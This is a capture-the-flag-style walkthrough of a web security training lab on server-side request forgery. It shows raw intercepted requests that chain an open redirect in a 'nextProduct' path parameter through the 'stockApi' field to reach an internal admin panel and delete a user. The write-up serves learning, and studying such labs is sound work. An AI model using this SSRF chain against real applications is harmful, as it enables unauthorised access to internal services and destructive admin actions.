
SSRF with filter bypass via open redirection vulnerability

1. This lab has a stock check feature which fetches data from an internal system.
2. The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.
3. After intercepting the stock check request, I find that there is no way to modify the URL in stockApi. This time it takes only the endpoint not the full URL. So, we need to find another way to access the admin panel.

```
stockApi=/product/stock/check?productId=2&storeId=1
```

4. The lab description tells us that this lab is vulnerable to open redirect vulnerability.
NOTE: An open redirect vulnerability occurs when an application allows a user to control a redirect or forward to another URL. If the app does not validate untrusted user input, an attacker could supply a URL that redirects an unsuspecting victim from a legitimate domain to an attacker's phishing site.
5. While browsing the application. I found a button on the product page that redirected me to the next product page. I clicked it and intercepted the request. This is the request:

```
Request
Pretty Raw Hex Hackvertor
1 GET /product/nextProduct?currentProductId=2&path=/product?productId=3 HTTP/2
2 Host: 0a36008704f8110585723adc00b6000e.web-security-academy.net
3 Cookie: session=uJQfLxzj7KdfiMzMG8cf9YZXtcZgPlU; session=JAK0c4qs4mLcJ6hk0NrDgs5eUhoWq97A
4 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
5 Sec-Ch-Ua-Mobile: ?0
```

The request takes the next page path in the path parameter under the **product** endpoint.

6. When I modify it to <http://192.168.0.12:8080/admin>, the response is **302** and redirect me to admin panel. But when I followed redirection, the lab took a long time and didn't redirect me to admin panel. Actually, I don't know why but let's think in another way.

Request	Response
<pre>Pretty Raw Hex Hackvertor 1 GET /product/nextProduct?currentProductId=2&path=http://192.168.0.12:8080/admin HTTP/2 2 Host: Oa36008704f8110585723adc00b6000e.web-security-academy.net 3 Cookie: session=JAKOC4qs4mLcJ6hRoNkDgs5eUhoWq97A 4 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141" 5 Sec-Ch-Ua-Mobile: ? 6 Sec-Ch-Ua-Platform: "Windows" 7 Upgrade-Insecure-Requests: 1</pre>	<pre>Pretty Raw Hex Render Hackvertor 1 HTTP/2 302 Found 2 Location: http://192.168.0.12:8080/admin 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 0 5 6</pre>

7. What happened if I copy this path and paste it in stockApi ?? Let's try it.

Request	Response
<pre>Pretty Raw Hex Hackvertor 1 POST /product/stock HTTP/2 2 Host: Oa36008704f8110585723adc00b6000e.web-security-academy.net 3 Cookie: session=JAKOC4qs4mLcJ6hRoNkDgs5eUhoWq97A 4 Content-Length: 96 5 Sec-Ch-Ua-Platform: "Windows" 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 7 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141" 8 Content-Type: application/x-www-form-urlencoded 9 Sec-Ch-Ua-Mobile: ? 10 Accept: */ 11 Origin: https://Oa36008704f8110585723adc00b6000e.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://Oa36008704f8110585723adc00b6000e.web-security-academy.net/product?productId=2 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 stockApi=/product/nextProduct?currentProductId=3d2&path=3dhttp%3a//192.168.0.12%3a8080/admin</pre>	<pre>Pretty Raw Hex Render 1 HTTP/2 200 OK 2 Content-Type: text/html; charset=UTF-8 3 Cache-Control: no-cache 4 X-Frame-Options: SAMEORIGIN 5 Content-Length: 3177 6 7 <!DOCTYPE html> 8 <html> 9 <head> 10 <link href="/resources/> 11 <link href="/resources/> 12 <title> 13 SSRF with filter 14 </title> 15 </head> 16 <body> 17 <script src="/resource/> 18 </script> 19 <div id="academyLabHeader"> 20 <section class='> 21 <div class='> 22 <div c> 23 <div></pre>

It works!! I already have access to the admin panel. Let's delete the user carlos.



SSRF with filter bypass via open redirection vulnerability

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning >

[Home](#) | [My account](#)

What Do You Meme?



\$25.13